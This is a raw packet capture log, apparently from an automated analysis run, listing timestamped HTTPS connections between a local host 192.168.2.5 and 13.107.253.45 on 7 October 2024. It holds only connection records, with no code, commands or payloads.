Oct 7, 2024 21:18:26.563020945 CEST	443	49776	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.569235086 CEST	49782	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.569271088 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.569843054 CEST	49782	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.569983959 CEST	49782	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.570003033 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.594865084 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.594944000 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.599086046 CEST	49777	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.667117119 CEST	49777	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.667117119 CEST	49777	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.667143106 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.667152882 CEST	443	49777	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.699506044 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.699589968 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.701009989 CEST	49778	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.718729019 CEST	49778	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.718729019 CEST	49778	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.718755007 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.718789101 CEST	443	49778	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.775011063 CEST	49783	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.775058985 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.775304079 CEST	49783	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.816235065 CEST	49784	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.816283941 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.816694975 CEST	49784	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.820421934 CEST	49783	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.820436954 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:26.841631889 CEST	49784	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:26.841650963 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.097265959 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.098187923 CEST	49780	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.098207951 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.098803997 CEST	49780	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.098824978 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.156136990 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.157227993 CEST	49781	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.157308102 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.157685041 CEST	49781	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.157699108 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.210170031 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.210239887 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.210477114 CEST	49780	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.210705042 CEST	49780	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.210705042 CEST	49780	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.210727930 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.210738897 CEST	443	49780	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.214437962 CEST	49785	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.214476109 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.214549065 CEST	49785	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.215221882 CEST	49785	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.215250969 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.231242895 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.231746912 CEST	49782	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.231771946 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.232196093 CEST	49782	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.232208014 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.262849092 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.262999058 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.263083935 CEST	49781	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.263360023 CEST	49781	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.263415098 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.263452053 CEST	49781	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.263467073 CEST	443	49781	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.267409086 CEST	49786	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.267445087 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.267807007 CEST	49786	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.267807007 CEST	49786	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.267844915 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.338752031 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.338881016 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.339085102 CEST	49782	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.339152098 CEST	49782	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.339164972 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.339178085 CEST	49782	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.339184999 CEST	443	49782	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.341717958 CEST	49788	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.341737032 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.341813087 CEST	49788	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.342008114 CEST	49788	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.342020035 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.443862915 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.445442915 CEST	49783	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.445442915 CEST	49783	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.445468903 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.445481062 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.494474888 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.495213032 CEST	49784	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.495255947 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.495677948 CEST	49784	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.495686054 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.587517977 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.587589979 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.587646961 CEST	49783	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.588311911 CEST	49783	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.588311911 CEST	49783	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.588340044 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.588355064 CEST	443	49783	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.592787027 CEST	49789	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.592825890 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.592905998 CEST	49789	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.593029022 CEST	49789	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.593041897 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.613497019 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.613557100 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.613984108 CEST	49784	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.614289045 CEST	49784	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.614306927 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.614320993 CEST	49784	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.614326954 CEST	443	49784	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.617176056 CEST	49790	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.617196083 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:27.617435932 CEST	49790	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.617558002 CEST	49790	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:27.617569923 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.101556063 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.104020119 CEST	49786	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.104032040 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.104814053 CEST	49786	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.104820967 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.106679916 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.106699944 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.107089996 CEST	49785	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.107095957 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.107552052 CEST	49785	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.107554913 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.107841969 CEST	49788	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.107851982 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.108455896 CEST	49788	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.108470917 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.206388950 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.206759930 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.206820011 CEST	49786	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.210968971 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.211045980 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.211117983 CEST	49785	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.215810061 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.215910912 CEST	49786	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.215925932 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.215934992 CEST	49786	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.215940952 CEST	443	49786	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.215954065 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.215976954 CEST	49785	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.215976954 CEST	49785	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.215981007 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.215986967 CEST	443	49785	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.216053009 CEST	49788	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.217325926 CEST	49788	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.217344046 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.217470884 CEST	49788	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.217477083 CEST	443	49788	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.220674038 CEST	49791	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.220690966 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.220761061 CEST	49791	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.222767115 CEST	49792	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.222812891 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.222897053 CEST	49792	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.222959995 CEST	49793	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.223015070 CEST	443	49793	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.223192930 CEST	49791	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.223203897 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.223287106 CEST	49793	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.223735094 CEST	49792	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.223764896 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.223844051 CEST	49793	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.223862886 CEST	443	49793	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.284761906 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.285509109 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.290899992 CEST	49789	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.290899992 CEST	49789	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.290920019 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.290940046 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.292035103 CEST	49790	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.292035103 CEST	49790	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.292043924 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.292056084 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.414983988 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.415054083 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.415292025 CEST	49790	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.416688919 CEST	49790	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.416702986 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.416805983 CEST	49790	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.416811943 CEST	443	49790	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.418135881 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.418205023 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.418570995 CEST	49789	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.419140100 CEST	49789	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.419140100 CEST	49789	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.419146061 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.419152975 CEST	443	49789	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.422138929 CEST	49795	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.422168970 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.422396898 CEST	49795	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.422396898 CEST	49795	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.422414064 CEST	49794	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.422427893 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.422460079 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.423336983 CEST	49794	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.423336983 CEST	49794	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.423377991 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.858665943 CEST	443	49793	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.859818935 CEST	49793	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.859827995 CEST	443	49793	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.860497952 CEST	49793	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.860503912 CEST	443	49793	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.862874031 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.863890886 CEST	49791	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.863903046 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.864522934 CEST	49791	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.864530087 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.870666027 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.871748924 CEST	49792	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.871748924 CEST	49792	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.871762037 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.871778011 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.969501972 CEST	443	49793	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.969655037 CEST	443	49793	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.969986916 CEST	49793	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.969986916 CEST	49793	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.970365047 CEST	49793	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.970385075 CEST	443	49793	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.970551014 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.970606089 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.970698118 CEST	49791	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.972476959 CEST	49791	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.972476959 CEST	49791	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.972487926 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.972496986 CEST	443	49791	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.975150108 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.975198984 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.975836992 CEST	49792	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.977113962 CEST	49796	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.977133036 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.977319956 CEST	49792	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.977319956 CEST	49792	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.977334976 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.977346897 CEST	443	49792	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.977360964 CEST	49796	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.980426073 CEST	49796	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.980429888 CEST	49797	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.980433941 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.980467081 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.980542898 CEST	49797	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.981177092 CEST	49797	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.981189013 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.982002974 CEST	49798	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.982012987 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:28.982146025 CEST	49798	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.983001947 CEST	49798	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:28.983017921 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.056747913 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.081396103 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.088921070 CEST	49795	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.088958025 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.089458942 CEST	49795	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.089474916 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.091427088 CEST	49794	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.091442108 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.091528893 CEST	49794	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.091533899 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.193401098 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.193479061 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.196116924 CEST	49795	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.198507071 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.198585987 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.199867964 CEST	49794	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.329077959 CEST	49795	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.329077959 CEST	49795	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.329132080 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.329157114 CEST	443	49795	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.337069035 CEST	49794	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.337069035 CEST	49794	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.337101936 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.337111950 CEST	443	49794	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.455708981 CEST	49799	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.455749989 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.455826044 CEST	49799	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.460747957 CEST	49800	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.460788012 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.460850954 CEST	49799	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.460864067 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.461272955 CEST	49800	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.461272955 CEST	49800	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.461307049 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.612581015 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.614871979 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.615365028 CEST	49797	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.615401030 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.615922928 CEST	49797	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.615936995 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.616606951 CEST	49798	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.616624117 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.617005110 CEST	49798	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.617014885 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.645353079 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.647528887 CEST	49796	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.647547960 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.647965908 CEST	49796	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.647973061 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.717870951 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.717928886 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.718070984 CEST	49797	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.718349934 CEST	49797	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.718369007 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.718379974 CEST	49797	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.718384981 CEST	443	49797	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.719472885 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.719625950 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.719679117 CEST	49798	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.719986916 CEST	49798	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.719995975 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.720002890 CEST	49798	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.720005989 CEST	443	49798	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.721151114 CEST	49801	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.721174002 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.722189903 CEST	49801	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.722304106 CEST	49801	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.722316980 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.723632097 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.723639965 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.723843098 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.723967075 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.723975897 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.796082973 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.796240091 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.796677113 CEST	49796	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.796708107 CEST	49796	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.796720028 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.796730042 CEST	49796	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.796735048 CEST	443	49796	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.799144030 CEST	49803	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.799173117 CEST	443	49803	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:29.799446106 CEST	49803	443	192.168.2.5	13.107.253.45
